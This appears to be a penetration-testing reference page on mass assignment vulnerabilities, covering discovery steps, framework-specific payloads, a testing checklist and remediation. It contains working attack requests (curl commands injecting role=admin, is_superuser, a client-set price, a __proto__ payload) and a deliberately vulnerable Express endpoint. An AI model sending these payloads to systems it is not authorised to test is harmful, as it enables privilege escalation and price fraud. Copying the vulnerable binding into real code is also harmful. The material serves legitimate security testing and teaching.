Mass Assignment
Mass assignment (also called autobinding or object injection) occurs when an application automatically binds HTTP request parameters to internal model properties. By adding extra fields to a request, attackers can modify properties not intended to be user-editable — such as role, isAdmin, price, or balance.
Mass assignment is the canonical case of API3:2023 Broken Object Property Level Authorization (BOPLA) in the OWASP API Security Top 10 and is tracked as CWE-915. It is the property-level cousin of IDOR: IDOR crosses object boundaries, mass assignment crosses property boundaries within an object you own.
Danger
Frameworks: WSTG v5 4.7.20 (Mass Assignment) · ASVS 5.0 V15.3.3 · CWE-915 · T1190
How Mass Assignment Works
Every framework here does the same thing: it takes a request body, maps keys to object properties by
name, and writes the ones it finds. The vulnerability is never the mapper — it is the absence of a
decision about which properties are writable. Rails calls that decision strong parameters,
Django ModelForm.fields, Laravel $fillable, Spring
setAllowedFields, ASP.NET [Bind(Include=…)]. Where the list is missing or
empty — permit!, fields = '__all__', $guarded = [] — the
request body becomes the write set.
Vulnerable Code Example (Node.js/Express)
The application updates the user model by spreading all request body fields directly:
// Vulnerable Express.js endpoint
app.put('/api/user/profile', (req, res) => {
// DANGEROUS: Binds ALL request fields to the user object
User.findByIdAndUpdate(req.user.id, req.body, { new: true })
.then(user => res.json(user));
});
// Normal request:
PUT /api/user/profile
{"name": "John", "email": "john@example.com"}
// Attack request — adding unauthorized fields:
PUT /api/user/profile
{"name": "John", "email": "john@example.com", "role": "admin", "isVerified": true}
The precondition is that the bound object has a field the attacker wants and the caller does not
legitimately control. That is why role, is_admin, owner_id,
balance and email_verified are the interesting names: they exist on the
model, they come back from the read endpoint, and no UI ever submits them. If the request is bound to
a DTO that has none of those fields, there is nothing to escalate.
Read-Only vs Writable Fields
The distinction is between read-only and writable, and it is a property of the server's binding
rule, not of the JSON you can see. Three mistakes produce most findings: a field hidden from
responses is assumed protected on write (serialisation and binding are different layers); a field
marked readOnly in the OpenAPI document is trusted as enforcement (that is
documentation); and a field is protected on create but not on update, where the same model is bound
from a different DTO.
| Field class | Examples | User-writable? |
|---|---|---|
| Identity and provenance | id, owner_id, tenant_id, created_at |
No — server-assigned |
| Authorisation and state | role, is_admin, verified, balance |
No — privileged transition |
| Profile data | name, email, locale, avatar_url |
Yes — the intended write set |
Discovery Techniques
The loop is read, inject, re-read. A response that returns role tells you the field
exists; a PATCH that includes it tells you whether the binder accepts it; a second GET tells you
whether it persisted. Anything that changes between the first and third step is the finding. Send one
field at a time so you can attribute the change, and try both camelCase and snake_case.
# Step 1: Find hidden fields by reading responses
# Make a GET request and note all returned fields:
curl -s https://target.com/api/user/profile -H 'Authorization: Bearer TOKEN' | jq .
# Response:
# {
# "id": 123,
# "name": "John",
# "email": "john@example.com",
# "role": "user", ← interesting!
# "isAdmin": false, ← interesting!
# "balance": 100, ← interesting!
# "verified": true
# }
# Step 2: Try adding these fields to an update request:
curl -X PUT https://target.com/api/user/profile \
-H 'Authorization: Bearer TOKEN' \
-H 'Content-Type: application/json' \
-d '{"name": "John", "role": "admin"}'
# Step 3: Check if the field was modified:
curl -s https://target.com/api/user/profile -H 'Authorization: Bearer TOKEN' | jq .role
# If output is "admin" → mass assignment confirmed!
# Step 4: Try common privileged fields:
# role, isAdmin, is_admin, admin, privilege, permissions
# verified, email_verified, is_verified, active
# balance, credits, price, discount
# password, password_hash (in some frameworks)
# created_at, updated_at (timestamp manipulation)Framework-Specific Attacks
Each framework fails in its own dialect. Rails binds nested user[...] hashes and only
permit limits them; Django's ModelForm binds every field listed in
fields, and fields = '__all__' undoes the protection; Laravel's
$guarded = [] disables the guard entirely; Spring's @ModelAttribute binds
every matching request parameter unless an @InitBinder restricts it; ASP.NET's
[Bind] without Include binds every public property. The block below is a
lookup table, not five separate attacks.
# Ruby on Rails:
# Look for params.permit() to see what's allowed
# Try adding fields not in the permit list:
POST /users
user[name]=John&user[email]=john@test.com&user[admin]=true
# Django (Python):
# If using ModelForm without Meta.fields or exclude:
POST /register/
username=john&email=john@test.com&is_staff=true&is_superuser=true
# Laravel (PHP):
# If the model has $guarded = [] (empty guard):
POST /api/user
{"name": "John", "is_admin": 1}
# Spring Boot (Java):
# If using @ModelAttribute without @InitBinder whitelist:
POST /user/update
name=John&email=john@test.com&roles=ADMIN
# ASP.NET:
# If using [Bind] without Include/Exclude:
POST /User/Edit
Name=John&Email=john@test.com&IsAdmin=trueAdvanced Scenarios
Nested binding is where allow-lists leak. A permitted address object can still carry
sub-properties nobody considered, and a permitted items array can carry a client-supplied
price the server later trusts. GraphQL is the same problem with a schema: if the input
type exposes role, the resolver binds it. The __proto__ key below is
prototype pollution rather than mass assignment — the same unrestricted binder usually permits both,
but they are separate findings.
# Nested object injection:
PUT /api/user/profile
{
"name": "John",
"address": {
"street": "123 Main St",
"__proto__": {"isAdmin": true}
}
}
# Array manipulation:
POST /api/order
{
"items": [{"id": 1, "quantity": 1, "price": 0.01}]
}
# Override server-side price with client-supplied price
# Registration with role assignment:
POST /api/register
{
"username": "attacker",
"password": "password123",
"email": "attacker@test.com",
"role_id": 1,
"group_id": 1
}
# GraphQL mass assignment:
mutation {
updateUser(input: {
name: "John"
role: "ADMIN"
verified: true
}) {
id
name
role
}
}Testing Checklist
- ☐ 1. Read API responses to discover all model fields (especially role, admin, balance, verified)
- ☐ 2. Check API documentation (Swagger/OpenAPI) for model schemas with editable vs read-only fields
- ☐ 3. Add extra fields to update/create requests and check if they persist
- ☐ 4. Test registration endpoints for role/privilege escalation
- ☐ 5. Test nested objects and array parameters
- ☐ 6. Check if GraphQL mutations accept unauthorized fields
- ☐ 7. Compare user-role vs admin-role responses to identify hidden fields
- ☐ 8. Test the update path separately from create — the same model is often bound by two different DTOs
- ☐ 9. Re-read the object after each attempt; a field accepted but not persisted is not a finding
Evidence Collection
Before: GET response showing original field values (role: user, isAdmin: false)
Attack Request: PUT/POST request with injected fields
After: GET response showing modified field values (role: admin, isAdmin: true)
Binding Rule: The server-side allow-list (or its absence): <code>permit</code> list, <code>ModelForm.fields</code>, <code>$fillable</code>, <code>setAllowedFields</code>, <code>[Bind]</code>
CVSS Range: Privilege escalation: 8.1–9.8 | Price manipulation: 6.5–8.6
Remediation
- • Allowlist fields: Explicitly define which fields can be set by user input (Rails:
params.permit(:name, :email)). - • Use DTOs: Map requests to Data Transfer Objects with only user-editable fields, never bind directly to database models.
- • Read-only decorators: Mark sensitive fields as read-only in the model/schema.
- • Validate on the server: Never trust client-side field restrictions — always enforce on the backend.
- • Reject unknown fields: Fail the request on unrecognised properties instead of ignoring them (Spring Boot
spring.jackson.deserialization.fail-on-unknown-properties=true, NestJSforbidNonWhitelisted) so probing is visible in logs. - • One DTO per operation: A create DTO and an update DTO, each listing writable fields, so a field added to the model is never writable by default.
- • Test the negative case: Add a unit test that posts
role=adminto every registration and profile route and asserts it is ignored or rejected.
False Positive Identification
- Parameter accepted but not stored: The API accepting extra fields in the request doesn't mean they're persisted — verify by fetching the resource and checking if the injected field was saved.
- Intended bulk update: Some APIs allow setting multiple fields intentionally (e.g., PATCH with partial updates) — focus on fields that should be restricted (role, admin, verified).
- Default values vs. injection: A field returning a default value (e.g., role=user) may not mean your injection worked — test with a non-default value to confirm.
- Serialisation is not binding: A field absent from the response may still be writable, and a field present in the response may be read-only. Test the write path directly rather than inferring from the schema.
- Prototype pollution is a different bug: A <code>__proto__</code> key that changes behaviour in the process is prototype pollution (CWE-1321), not mass assignment (CWE-915). Report them separately.
Mass Assignment Practice
Discover hidden object properties and escalate through them on API labs.